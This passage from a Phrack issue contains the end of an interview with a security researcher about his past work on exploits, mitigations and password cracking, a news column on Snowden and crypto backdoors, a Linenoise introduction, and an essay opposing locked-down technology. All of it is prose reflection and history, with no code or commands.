In the same posting, I also introduced what later became known as ASCII armoring (unfortunately, a term that was already used to refer to something unrelated: binary to text encoding in PGP). I suggested placing code that should be out of easy reach of exploits via C strings at addresses that contain at least one NUL byte in them. (In that posting, I called this a "fix", which I now regret. I should have written "partial mitigation".)

I was first to bring non‑executable memory protections to Linux and to x86, initially just the stack (then extended to much more by PaX Team). This was not unique for operating systems in general ‑ there was already Casper Dik's patch for Solaris on SPARC, and Digital Unix on Alpha had non‑executable stack by default ‑ but it was new to Linux, to x86, and to free software (Solaris was non‑free). At first, upstream maintainers opposed this, but later (when I had given up and moved on) it was embraced by Linux and other free and non‑free operating systems. If I had not started that discussion/controversy at the time, and someone else did later, maybe the persuasion timer would start ticking later as well.

JtR's incremental mode, in its initial form introduced right with version 1.0 in 1996 (and tested privately in an unreleased cracker in 1995), was novel: being able to search a password space exhaustively, yet in a smart order. Before JtR, it was one or the other: dumb exhaustive search, or smart non‑exhaustive search. (I guess NSA and the like must have had developed approaches like this before and beyond, but I am unaware of publications or released tools of this kind predating JtR.) With this approach, already on computers of the time, it was practical to crack some non‑word‑based yet word‑like 7‑ and 8‑character Unix passwords.

JtR's built‑in ability to train on previously cracked passwords (generate incremental mode's sorted charsets), IIRC introduced in 1997, was probably novel as well. Indeed, people were optimizing wordlists, etc. based on cracked passwords before, but not with a built‑in feature of the cracker.

I was first to apply/extend bitslice DES to descrypt, also in JtR, in 1998, running especially well on Alphas (the speedup from x86 to Alpha for the bitslice DES code of the time was comparable to the speedup going from a CPU to a GPU now).

With a team, we demonstrated that it is practical to have a fully‑functioning Unix‑like system without SUID programs, and that it is possible to do so much more (than others do) within the traditional Unix permissions model. Unfortunately, this is, with few exceptions (e.g., Vixie Cron is such a lucky exception), not being embraced by others. *BSD's stay with their SUIDs, and many Linux distros go beyond the traditional Unix permissions prematurely.

More recently, the concepts of ROM‑port‑hardness (first presented in my ZeroNights 2012 talk, with the slides online so I won't explain it here) and multiply latency hardening for password hashing, KDFs, and cryptocoins. Multiply latency hardening is about tying up RAM for a duration that cannot be made many times smaller through higher bandwidth alone, but only through also improving integer multiplication latency, which CPUs are optimized to be very good at. (Some attack speed improvement is indeed possible with ASICs anyway, but not as much improvement as there would have been without such hardening.) It is also applicable to other areas, such as timed‑release encryption.

The above list might look like a lot done, or like too much bragging, or like too little done. My own assessment is too little done per time spent.

|=‑‑‑=[ Related to the previous question: Can you give us some background information? How and why did you come up with this? Can you give us an anecdote story related to it?

Regarding the ret2libc exploits, as I mentioned in the 1997 posting some credit for this goes to Pavel Machek, a Linux kernel hacker who had challenged me with the possibility of borrowed code attacks (without such wording at the time, I think) on my non‑executable stack mitigation. Always thinking both defense and offense, I went ahead and implemented those very first ret2libc exploits, and posted them.

My secondary(?) motivation was "to prove that exploiting buffer overflows should be an art", as I wrote at the end of that e‑mail. A typical buffer overflow exploit at the time was copy‑paste from Aleph1's Phrack 49 article, even replicating the misindented __asm__("movl %esp,%eax"); line. That was dull. Compare this to today's assortment of memory corruption exploits, which often are pieces of art.

|=‑‑‑=[ Was your most notable technical achievement also the one that was the most fun?

While notability can be (mis)judged through the reception by others, and this is a reason why I chose to emphasize the ret2libc exploits, I have no such criteria for "most fun". These exploits certainly were fun, and there was that satisfying feeling re‑reading their code, but were they absolutely the most fun? I'm not sure. Many things I did were fun.

Exploration of VM‑based software obfuscation possibility was fun (even if possibly of negative ethical value as "intellectual property" protection might be in general, although there are other potential applications of the idea, such as for weak "whitebox crypto in the cloud" in modern speak). Some people liked the PoC, and there were friendly copycats. I didn't pursue this further as I fully went into FOSS at about the same time. A couple of years later, I was surprised to find a disassembly of my PoC in a printed magazine, with concerns raised that the technique could be picked up by malware. I think this hasn't happened, but I suspect that my PoC might have influenced the creation of VMProtect (IIRC, it also used NOR as an emulated instruction, but added many other instructions thereby spoiling the idea).

There were some technical feats that were not notable in terms of influence (either because they had no such value or because they were not exposed or were overlooked), but certainly were fun. I mentioned some among the "memorable experiences". A maybe‑curious one, implemented in 1995‑1996 for DOS as JMPTRACE.EXE, was guiding a program's user and making and comparing as many as needed dumps of the program's control flow instructions' status (not‑reached, taken, not‑taken, varies) to spot the instructions changing between two sets of dumps, and automatically generate a patch to force program behavior to one path or the other. It was fun to see this produce cracks in under a minute, removing the need for any manual work in simple cases like this. This is extending and re‑applying game cheating tools' old idea of comparing memory dumps to spot the one right variable. Sounds obvious, yet I'm not aware of others having done it before.

|=‑‑‑=[ When you came up with the unlink metadata attack for Mozilla's heap, did you look for it in other linked list allocators? Did you realize its full potential at that time?

Actually, the attack as originally discovered and demonstrated was not on Mozilla's allocator, but on whatever allocators of the underlying system Mozilla used ‑ so yes, as the advisory I published at the time said, the technique was shown to be applicable to glibc's and Windows' allocators of the time. And yes, I did realize, and maybe I should have written a separate article on just that. I was trying to make two points at once: that file format parsers are a major risk, and that "heap overflows" are exploitable in this generic way. Arguably, placing them both in one advisory obscured the latter, but as we see from further publications by others, including in Phrack, it was not fully missed either.

Want an anecdote on this one as well? I first triggered the bug when trying to optimize a JPEG for my website. I deleted the comment in vi, but updated the comment length incorrectly. The browser crashed, and I didn't let this stay non‑investigated. (These days, I grew older and oftentimes I just ignore software crashes, letting those bugs live. What a pity... although I imagine the pro‑bug folks would appreciate that.)

I first exploited the bug into branching to a controlled address in gdb before having ever looked at the corresponding source code of either Mozilla or glibc. It's this low‑level / binary approach that enabled me to see what was possible. If I had switched to reviewing the source code sooner, I might not have realized the bug was exploitable.

I only looked at Mozilla's source code and at the relevant place in glibc for figuring out what exactly was happening in higher‑level terms, and for writing it up for others. Oh, and for producing a reliable binary patch.

|=‑‑‑=[ Some of your older publications are "offensive", while in the recent years you seem to have focused on more "defensive" research. Do you agree with this statement? If yes, what were the reasons for this change?

I was always exploring both sides since I got into "software protection" and (in)security. It is possible that I alternated my focus between the two over the years, yet I can't imagine me working on defensive research without at the same time considering attacks on the solution or mitigation being designed. For example, my Phrack 53 article was both defensive and offensive, and I dropped what later became known as hashDoS in it.

It is true that I mostly quit developing memory corruption exploits after having published just a few (innovative) ones in late 1990s. A reason for this is that the desired effect was achieved, whether due to my work or/and otherwise: people started producing advanced rather than dull exploits.

Similarly, I was one of the first (possibly the first?) to exploit a buffer overflow on the Windows platform (in 1996, then published Windows 95 and NT shellcodes in January 1997), but I quit almost right away as other people also started bringing the Unix attack knowledge onto Windows.

I still co‑maintain John the Ripper, which is an offensive tool.

I recently participated in a project to implement energy‑efficient bcrypt cracking on Epiphany and FPGAs, which is also offensive.

I designed yescrypt, which is defensive, but in the process I went through lots of attacks on it.

Yes, our Openwall GNU/*/Linux project is defensive.

|=‑‑‑=[ Related to the previous question: Which of the two do you think bears more fruit for a researcher; offensive or defensive research? Which of the two increased your learning and understanding more?

I'd say offensive as you need to consider attacks when working on defensive research. What may happen in practice is that when you naively go defensive‑only, others break your defenses (e.g., my early and naive software protection schemes) and make you learn in that way. If you're lucky, or if you deliberately provide the incentive (bug bounty?), this happens early on, before there's too much at stake (and then you start thinking like an attacker as well... or you fail as a defender).

|=‑‑‑=[ What's your take on the IT security industry vs. "the underground"?

A large part of today's IT security industry that I'm in contact with grew from 1990s maybe‑underground, so it's people we have a common understanding with. It's good.

As to the industry vs. today's underground, I don't know. I guess there's some overlap.

There's also some overlap of the civilian IT security industry (and presumably the underground) with the military, intelligence, and law enforcement. Some are contributing to ethically questionable efforts. (I am not implying that any work for governments is ethically questionable. A lot of it isn't. That's where the Internet came from.)

There's also the military rhetoric (such as "cyberwar"), which gets picked up by non‑tech yet powerful people. This is a theme of my ZeroNights 2014 keynote game: "Yesterday infosec was such an easy game to play. Now we need a place to hide away?" Was it really a game back then? And is it still a game now, or is it time to hide away (move on to the many non‑security areas where we can constructively hack useful things without ethical uncertainty)? I have no "authoritative answers" to these; I just like to remind us to ponder on this in our decision‑making on what to work on next.

Finally, there are marketing‑mostly companies and activities, which are leeching funds without doing much else. These happen to provide a false sense of security, and vulnerabilities in the security software itself.

Overall, I think most IT security expenditures are not cost‑effective, but it's similar for other large industries. Wasted money isn't necessarily bad per se. Money has no inherent value, it's just an instrument in the economy and it's voting power. What matters is whether the expenditures result in people wasting their and others' lives on unhappily doing useless work or not. Unfortunately, they do, but not to as bad an extent as it might seem at first. (And yes, this also affects distribution of wealth.)

Besides IT security industry, there's also much increased attention (compared to 20 years ago) to security elsewhere in IT, as well as much improved knowledge of how to tackle safer design of IT systems. This is a lot more cost‑effective than spending on security on its own or as an afterthought. It provides not only security, but robustness, and in ways that impose fewer restrictions on the users. Speaking of restrictive security, this reminds me of anti‑security and its less reasonable aspects:

Did you possibly mean your question in context of the (arguably eroded) anti‑security movement of 2002‑2009 (arguably different from its earlier form of 2001)? I think that's a false dichotomy built upon several likely flawed assumptions. As I understand, one assumption was that the security industry's growth was contributing to decline of the underground. I think it actually was change and not decline. Yes, some people were growing up and moving on and into the industry (no, this didn't make them "enemies"), but also a new generation was joining the underground. Phrack largely lost its anarchy aspect, even prompting "fake Phrack" during that period, but whatever happened to Phrack, etc. didn't necessarily speak of the entire underground. In fact, that very movement exemplified the diversity that continued to exist and flourish (even if with some aspects I personally wouldn't condone, since those infringed upon freedom of choice by others). Another assumption was that the security industry still depended, and in a "bad way", on sustained scaremongering and on real security threats found in full disclosure publications. I think that even if (hypothetically) those ceased, the industry would grow at roughly the same pace, and it wouldn't be any more focused on real threats. On the contrary, I think it would be spending a larger fraction of resources on people unhappily doing useless work, with no reduction in total resources spent.

This is my prophile, and thus my opinion; I do not claim it is the ultimate truth. I hope I haven't built a strawman, but in case I have please take the above paragraph on its own merits (not necessarily referring to the specific movement). I was mostly not around during those years, so I could well have missed crucial detail, and I understand that anti‑security wasn't only about those things (and I think initially not about them at all).

|=‑‑‑=[ What is your stance on full‑disclosure vs non‑disclosure? Are there situations where both are needed, or is it one or the other?

I generally favor full disclosure, but I don't oppose occasional use of coordinated disclosure prior to the full disclosure. I do oppose excessive use of coordinated disclosure, as well as excessive embargo periods. I also buy into Ted Unangst's suggestion to call this "selective disclosure", with the negative connotation. This is why I agreed for Openwall to host not only the oss‑security list (where full disclosure is practiced), but also the (linux‑)distros lists (for advance notification to distro vendors, PGP re‑encrypted). As someone hosting them, I get to dictate policy, not letting issues stay in the limbo for too long (and forcing them to be brought to oss‑security). Obviously, what's "excessive" and "too long" is subjective (there is a published policy on that for our lists, but how we came up with this specific policy is subjective). And yes, it's necessarily "selective".

I am generally against non‑disclosure, but there may be exceptions. As I understand, it exists out of intent to use or/and profit off of one's finding, concerns of others taking advantage (unfair or any at all) of one's finding defensively (you doing free bug hunting for the vendor), offensively (use of your recent disclosure for attacks on not‑yet‑patched systems), or/and commercially (scaremongering, marketing, actual security products), concerns of getting oneself in trouble (e.g., the vendor going after you), not wanting to lock other hackers out, increased appreciation of the bugs (letting them live just for the sake of it), not wanting to affect game dynamics, lack of motive (perceived need) to disclose, or/and just laziness. This list is probably non‑exhaustive.

I think there's rarely an ethical way to profit off of a bug without its planned public disclosure (remember, this might not be a game anymore) and there are plenty of other ways to make decent money, including in IT security, without such ethical compromises. I can sympathize with many possible reasons for one's choice not to disclose a bug, especially in context of jailbreaks or DRM (thus, retaining the essential freedom to fully utilize one's own devices or content). However, it should always be considered that information may leak or be rediscovered by others.

|=‑‑‑=[ Some claim that the hacking scene is growing old and that there are not enough talented young people interested in hacking to replace it. What are your thoughts on this?

There are plenty of talented young people interested in hacking. What may be changing (or maybe not) is scene spirit.

|=‑‑‑=[ What is your advice to the new hackers reading this?

I tried to share some maybe‑wisdom throughout the pseudo‑memoirs and answers above.

FX's advice of "Try Harder 2 Be Yourself" makes sense to me individuality, curiosity, creativity. Being a hacker is about all of those things and, whatever the darker undef color folks say, it isn't necessarily about ever hacking into systems, which might or might not even be relevant (depending on creativity involved or lack thereof). Last but not least, try to be a good person, while at the same time staying yourself. (Few people are genuinely bad.) This means integrity, too.

A hacker shouldn't need guidance. If you feel like asking an old‑timer for guidance, you're probably on the wrong path. Rather, it should be about your own creativity, and you'd find you have more curiosity and more things to explore than you have time for.

However, it is in fact helpful to be introduced to things you might not yet have found on your own. Also, it is OK to bring up specific questions not of the sort "what's next", thus not step‑by‑step guidance, but asking in appropriate communities for advice on very specific technical issues you already ran into.

The landscape has changed. On one hand, the previously low‑hanging fruit has been explored, so the barrier to entry may be higher now. On the other, a lot of information and tools are now easily available, and there are friendly communities that are even easier to reach than before, and without the elitism too, so the barrier to entry may have lowered. Overall, it's just different. There's new low‑hanging fruit too ‑ e.g., for the coming "Internet of things" you'll end up building upon and porting over the previously explored attack techniques to this new area, and hopefully finding something creative about it as well.

It's probably riskier (and less of a game) to explore systems online now, but on the other hand you can have plenty of rare systems in emulators/ VMs, and you can "hack" in CTFs, which really are just games (good!) Bug bounty programs provide you a previously unheard‑of opportunity to not only explore some systems online in some limited ways, but also get paid for it ‑ and it's a game (also good!) You don't have to worry about how you'd get online to connect to a CTF server tomorrow. There are no such survival challenges in today's CTFs. You wouldn't even voluntarily go for the headache of the network lag and frequent disconnects, even though technically those could be simulated. The spirit is probably very different now. Times change. (But maybe not yet by this much in some developing countries? Just like USSR/Russia was lagging behind back then. As a cat, I see a lot of naive mouse activity from Indonesia, so maybe it's still like that in there, perhaps with wireless in place of dialup?)

Firmware hacking has probably stayed the same, including the spirit, and in fact the range of opportunities has expanded. Lots of ethically sound opportunities there, too.

There are many ways to be a hacker without ever getting into (in)security e.g. hacking on non‑security aspects of a free operating system ‑ or even without focusing on computing, although there's a hot and highly relevant area which does involve computing: bioinformatics.

|=‑‑‑=[ What is the future of hacking? The future of "the underground"?

Hacking will go on, in all meanings of the word.

The underground, the kind of it that I consider positive, might be getting blended with other communities, although I hear there are forums that have sort of replaced private BBSes of before.

There will also remain for‑profit groups (and their forums, communities, etc.) that technically are underground, but that's different ‑ not the kind of underground I possibly associated with.

Very different kinds of hacktivism will also continue, and I think these are for human rights, transparency, protests, and attempts to influence the game (many or most of them misguided). Also a lot of malicious and just for fun trolling and stalking, but masquerading as hacktivism ‑ that's not even hacking, but it can involve e.g. (D)DoS attacks and thus be lumped in with hacking/hacktivism. Also manipulation of public opinion via technical means (automated sockpuppets, etc.), including attributed to state actors.

|=‑‑‑=[ What do you think the biggest infosec challenges for the next 5 years are/will be? And what should be done about them?

5 years is not that much, so the challenges will stay mostly the same as today's. Attention will be shifted to some specific areas all of a sudden, like we've seen it happen for SSL/TLS starting with Heartbleed, but this does not mean those areas actually suddenly started to need more attention (maybe they needed it before as well, and/or maybe they don't deserve as much now).

Below are some that will be changing from today's. This does not mean they're the absolute biggest challenges ‑ I think the biggest are the same as today's ‑ but they might be among the biggest that change from today's:

Use of virtualization will increase even further, on all kinds of devices, including with nested and mixed technologies, which will bring new code and new bugs with it (such as in front‑end software and middleware used to manage those VMs/containers), and inconsistent/violated security models/assumptions. Ideally, there should be demand for under‑the‑hood simplicity of such solutions, but unfortunately this demand is lacking, and so will the supply, likely resulting in some ridiculously complex and inconsistent systems.

Use of "microservices" will continue to increase, and so will server‑side request forgery attacks ‑ and defenses against those. With separation of backend services improving, there will be an unfortunately to‑be‑missed opportunity to make it privilege separation rather than merely operational separation.

For crypto, some of those backend servers could act as HSM‑alikes, but this opportunity will also be missed due to HSM‑alikes requiring HSM‑like rather than server‑like sysadmin practices.

Use of centralized management will increase ‑ config file management across all of organization's virtual and physical servers, etc. This means a single point of failure, and of security compromises too. We could have gained intranet security boundaries through greater separation of backend services, but instead we'll lose them through greater centralized management. This applies to (security) event monitoring, too.

With more levels of abstraction, (live) migration, hosting infrastructure outsourcing, and increased use of solid‑state non‑volatile memories (ranging from "disks" to "RAM"), it will be even harder (and arguably counter‑productive) to keep track of actual devices underlying the logical assets and, even once located, to securely wipe those devices when they're to be retired (hard to do for flash memory with over‑provisioning and wear leveling) ‑ but people typically neglect to do this now anyway.

IPv6 deployment will increase more rapidly than it did in prior 5 years. We'll see more talks about the inadvertent security exposures this brings.

Use of encrypted communications will continue to increase, with technical pressure put on those who are lagging behind in protocols support (upgrade or fall off the net). As a side‑effect, this will prevent some legacy systems from being accessed or from talking to many newer systems. In some cases, we'll see fallbacks to unencrypted communications where previously legacy encryption was being used. In some other cases, we'll see software updates stop being installed, thereby leaving systems exposed to more vulnerabilities for longer. I'd like to see a saner, case‑by‑case approach here ‑ e.g., with opportunistic encryption, there's little point in insisting on the latest protocols (refusing legacy ones), and a WordPress updates server isn't really helping security by denying connections from older systems. Unfortunately, I don't expect an improvement in the approach taken (in part because case‑by‑case is necessarily more complex than one‑size‑fits‑all guidance), and so there will be more collateral damage.

With luck, we'll see another spike (after 2013's) in demand and hopefully supply for line‑rate encryption in high‑speed network devices, due to a combination of genuine security‑consciousness and hype and marketing opportunities. Assuring security of encryption provided by those typically proprietary devices will be tough (e.g., does this one device actually provide perfect forward secrecy?) Ideally, there should also be demand for at least some openness of such devices for security review.

SCADA will move even more into the spotlight, and will remain with lots of low‑hanging fruit for years. Cars and IoT will continue to join SCADA under the spotlight.

Control over end‑user devices will continue to be taken away by the vendors, and jailbreaks will continue too. Arguably well‑intentioned hardware backdoors (remote management, anti‑theft, etc.) will continue to be introduced, and will remain a concern. Open hardware projects will advance, and more of them will be started, including in response and trying to address these concerns. Backdooring potential of taped out designs at chip foundries will become more relevant and thus a topic of more discussions.

As open CPU designs (such as RISC‑V and J Core aka free SuperH) succeed, there's also good potential for an open FPGA with a FOSS toolchain (perhaps building upon existing FOSS projects such as Torc and Yosys). This could be crowd‑ or/and VC‑funded, and having it would address some concerns.

|=‑‑‑=[ Open question. Anything more you would like to say to Phrack readers?

I can neither confirm nor deny anything stated in this prophile.

I wrote a lot (sorry for your time!) and I included some possibly strong opinions, but I do not mean to speak with authority. My involvement in the underground, if any, has been rather limited and brief, nor am I a true old‑timer (1990s wasn't that long ago). I also would like to apologize to past/other(?) Phrack editors as I had refused to be prophiled before on two(?) occasions. It felt like too much of a drag and events were too recent. Time had to pass so that I could provide perspective, as I tried now. Nothing to do with Phrack's editor teams changing, just the timing.

Phrack World News

==Phrack Inc.==

Volume 0x0f, Issue 0x45, Phile #0x03 of 0x10

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Phrack World News ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ by the Phrack staff ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ staff@phrack.org ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Wow, 4 years have passed! One of the possible positive outcomes of slowpaced releases of Phrack is that Phrack World News gives us the opportunity to look back on a few years worth of happenings and ponder about the bigger picture for a moment. First of all: Snowden. It feels like ages ago now, but, for anyone living under a rock, in 2013 Edward Snowden [1] leveraged his position working at the United States National Security Agency to copy and later leak [2] classified documents on NSA's global surveillance operations. If the very previous issue of PWN [3] prophetically warned about the massification of surveillance as a threat to our civil liberties, the Snowden leaks only proved what hackers and conspiracy theorists had believed and proclaimed for a long time: the US government unlawfully spies on its own citizens as well as everyone else's.

While it is probably futile to believe that the social and political reactions to the Snowden leaks have had any meaningful impact on the NSA's operations, the disclosed information is an invaluable resource to validate that governments will go a long way to collect intelligence as broadly and deeply as they can. The leaks have shown that the tactics employed by NSA ranged from the widespread tapping of phone (e.g. voice, SMS) and network traffic to more punctilious methods such as the intercept and tampering of export computer and network equipment to insert spying implants. This does not mean, of course, that we have global surveillance "figured out". In fact, quite to the contrary, it should be expected that many of these techniques have been revamped by now, and that many more are to follow, as a natural step in the continuous endeavor for stealthiness. As such, any effort, technical or otherwise, to safeguard your privacy is more valid than ever.

But indeed, it seems that some of the efforts on designing and implementing better crypto systems paid off and governments are starting to have their monitoring and investigative capabilities limited by evolving security. One indication of that is the growing insistence of various nations on the mind ‑boggling hopelessly insane push for crypto backdoors [4]. The sad and unfortunate wave of terrorism the world has been dealing with is repeatedly and shamelessly used to support the lobbying for less information security. Another (at the moment) ongoing instance of this is the significant dispute between the FBI and Apple [5], which refuses to provide the FBI with a way to bypass the lock screen of a terrorist's (and everyone else's) iPhone.

And sure enough the controversies involving governments and information security do not stop there. In the past few years we have seen some nations being more frank about their offensive capabilities [6] or sometimes industry‑sourced intelligence [7] combined with publicity on more impactful attacks [8] helped demonstrate that hacking is increasingly a bigger deal for nation‑states. All of this action is (or has been posed as) a driving force behind moves such as adding "cyber weapons" to the terms of the Wassenaar agreement [9], an initiative that, if not carefully formulated, will turn out to be not only utterly ineffective but also extremely harmful for the practice of security research and, in consequence, to the progressive development of information security in general. Plus, other recent breaches, such as Gamma [10] and Hacking Team [11], tell us that even government‑affiliated organizations are freely operating without respecting UN embargoes and international regulations anyway ‑ ironically, it was hackers and the security community that exposed them, and not law enforcement. So, who is the law working for?

Lastly, and with a heart heavier than any of the topics above could ever cause us, Phrack would like to say goodbye to a few illustrious members of our community that have sadly passed away. Since it's been 4 years we are not going to attempt to list out every instance, however we can easily say that as a community we have lost some incredibly talented, charismatic and fantastic people, and we feel the loss greatly.

Live free,

‑ The Phrack Staff

[1] ‑ https://en.wikipedia.org/wiki/Edward_Snowden

[2] ‑ http://www.businessinsider.com/snowden‑leaks‑timeline‑2014‑6

[3] ‑ http://phrack.org/issues/68/3.html

[4] ‑ http://www.theguardian.com/technology/2015/nov/18/

us‑europe‑reignite‑debate‑back‑door‑encryption‑paris‑attacks [5] ‑ http://www.wired.com/2016/02/apple‑brief‑fbi‑response‑iphone/

[6] ‑ http://www.wired.com/2016/01/

nsa‑hacker‑chief‑explains‑how‑to‑keep‑him‑out‑of‑your‑system/ [7] ‑ http://www.wired.com/2013/02/chinese‑army‑linked‑to‑hacks/

[8] ‑ http://arstechnica.com/security/2015/06/

why‑the‑biggest‑government‑hack‑ever‑got‑past‑opm‑dhs‑and‑nsa/ [9] ‑ http://blog.erratasec.com/2015/05/some‑notes‑about‑wassenaar.html

[10] ‑ http://www.zdnet.com/article/

top‑govt‑spyware‑company‑hacked‑gammas‑finfisher‑leaked/ [11] ‑ http://www.wired.com/2015/07/

hacking‑team‑breach‑shows‑global‑spying‑firm‑run‑amok/

Linenoise

==Phrack Inc.==

Volume 0x0f, Issue 0x45, Phile #0x04 of 0x10

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ L I N E N O I S E ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ various ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

An old Phrack Staff member and friend used to say that "a strong Linenoise makes a good release".

We begin our journey with an interesting philosophical article, "Hacker Luddites" by an anonymous author. TL;DR, ever had an iPhone? Have you realized you don't actually own something you paid several hundreds of bucks to acquire? The "cloud era" trend, which has convinced many people as well businesses, to literally grant owning rights for their data to large corporations, is now everywhere. How is it affecting our state of mind and where is this going?

Our technical part is very strong. Baudsurfer developed an interesting ASM chess game in just 256 bytes; read the heavily‑commented code and feel the nostalgia in your bones. More old‑school goodness in a lovely article dealing with secure shells and how one can exploit common misconfigurations to bypass various limitations and break out of restricted environments. Articles like this have a lot to offer to the hacking community. We urge our dear readers to follow DangerMouse's example and submit more articles like his!

The next article has a strange back story. We received this submission long ago and we decided to publish it. Admittedly, a lot of time has passed since then. The author has stopped replying to mails, but he was originally positive about publishing his work. Read it and see how you can cause short ID key collisions in GPG. As our everyday computing machines become increasingly powerful, such attacks become more and more realistic.

Following that are two excellent short articles exploring subjects every exploit developer is doomed to deal with, namely boundary conditions and shellcoding. Our rotten haxor chown has written a nice guide on how to use Microsoft's Z3 solver to facilitate the process of exploit development. Recently (well, maybe not so recently, lulz), there has been a shift towards more formal methods even by old‑school haxors who have always preferred and obeyed the KISS (Keep It Simple, Stupid!) primitive. Hackers have understood that the process of vulnerability discovery as well as exploit development can be augmented by modern mathematics and maybe become even more interesting! One cannot easily forget p64_0x08.txt, right? In the next article, fishstiqz shows us how you can simply use your compiler to easily build shellcodes for Windows. If you ever thought shellcode development on Microsoft's operating system is a pain in the ass, then this article is definitely for you.

Last but not least we have an opinion piece on the vulnerability disclosure circus, the incentives and the related moral questions (lulz) by two anonymous contributors. It is balanced and dispassionate and we urge you to read it in the same manner.

That's it you greedy mofos, another strong Linenoise! Enjoy!

‑‑[ Contents

1 ‑ Hacker Luddites ................................... anonymous

2 ‑ Chesslin .......................................Baudsurfer

3 ‑ He Compels Secure Shells .......................... DangerMouse

4 ‑ Personalized PGP Key IDs .......................... f1los0tt1l3

5 ‑ How to cheat at maths ............................. chown

6 ‑ Shellcode the better way, or how to just

use your compiler ................................. fishstiqz

7 ‑ Resisting the Hy(p|v)e ............................ anon & anon

|=[ 0x01 ]=‑‑‑=[ Hacker Luddites ‑ anonymous ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

In the west, far gone are the days of slavery. Men live freely with their minds and bodies. So the idea of technology potentially limiting these things is absurd.

Computer technology today might not always encourage these principles of free mind and body though. Hardware and software is increasingly built in the same manner as stone walled gardens, restricting those outside the inner circles of technocrats. The designers decide to clutch tightly to their systems, defining the full set of actions allowable and therefore thinkable on their systems. They are limiting the potential for creativity, discovery, and reason in order to further profit. This profit is furthered by control because certain control limits piracy, stops malicious software from propagating, simplifies the user experience for the majority of consumers, and creates revenue through software‑regulated micro decisions that constrain the full capacity of the hardware and software systems being sold.

Only the masters of the garden, the designers, are allowed inside the stone walls, where they are free to create and are conscious of the inner workings and plans. Those outside are not allowed inside the garden. Those who are not inside the circle of the original creators do not get to create without delegated permission. And consumers and third‑party developers are too far down the caste system to be allowed arbitrary control of their own possessions.

This leaves the creators on the outside of the stoned walls dependent on brilliant and dedicated minds to bypass the wishes of the designers. These brilliant minds attain a level of consciousness about the constraints of the system that the designers themselves did not understand, and pass this on to the masses. Along the way come miscreants, thieves, and pirates.

In a free market system, if more arbitrary creation is vital in the long term, then more creative systems will arise to fill the need. In the short term, allowing feedback from the outer castes and integrating their ideas has been shown to be more than sufficient for sustained exponential growth on the rise to market domination.

Hacker Luddite: (Oxymoron) A person opposed to technology that greatly limits, through artificial means, human potential for consciousness, reason, or creativity with that same technology.

Hacker Luddites hate stone wall garden technologies. Why shouldn't a person be allowed to hold a piece of technology and attempt to modify or adapt that technology to suit their will at any given moment? The only limitation should be the consciousness required to make changes. And certainly not artificially restricted by the designers of the technology. In the same way that Kant based the premises of the categorical imperative on the ability for humans to reason, Hacker Luddites view this capacity for reason as a fundamentally important human ability. When computer technology, purchased and entirely in the physical possession of the owner, denies arbitrary modification and creation, it greatly reduces the ability to reason about the universe with that technology. That technology does not allow people to transcend the designers ideas and fully embrace some of their most important human traits. Instead it delegates the consumers to subordinates with restricted consciousness, and restricted capacity for reason, and restricted creativity.

Next up, computer technology applied excessively for the conversion of human attention into personal profit.

To the hacker luddites, another nefarious category is the computer systems of the world which have been built to turn human attention into profit. Rather than proceeds coming from the advancement of humanity, the proceeds come primarily from the ability to guide human attention into that technological system. The system might be making the profit through ads, or it could be a game consumers pay for.

It is understood that resources are required to run technologies and that some exchange of information and resources is expected between consumers and creators of that technology. Ads can be helpful to a consumer by showing them products which they actually want, and games or sites for information exchange are highly enjoyable to many people and therefore provide benefit. It is when the methods and means become excessive that hacker luddites take an issue.

When technologies, whether delivering advertisements or games, exploit human psychology and physiology to turn a profit from their consumers, they may often be directly limiting, and in a significant way, the consciousness, reason, or creativity of that consumer.

The other problem is when instead of advertisements showing people what they want, advertisements subconsciously manipulate peoples desires (such as sex, popularity, and power) to override their consciousness and reasoning abilities to get them to want and purchase products regardless of the products abilities to help the consumer attain those desires.

And what if technologies instead of providing an opportunity for relaxation or fun or profound information sharing or whatever also create systems of psychological control where neurophysics brings users attention back to technology to get addictive releases of dopamine or serotonin or who knows what, using the darker arts of gamification. Or perhaps innate human survival mechanisms related to group dynamics are being exploited by the technology, such as showing automatically generated advertisements, messages, and symbols as endorsed by members of a group, or creating virtual resource systems where drives for competition or collaboration drive behavior.

It may be that these technologies which capture human attention are simply what most consumers want from their technology, after all 30% of internet traffic generated by humans is for porn [1]. If distraction and the subordination of reason, creativity, or consciousness is the will of the majority, Hacker Luddites seriously disagree with the majority and most definitely oppose the designers that subordinate them.

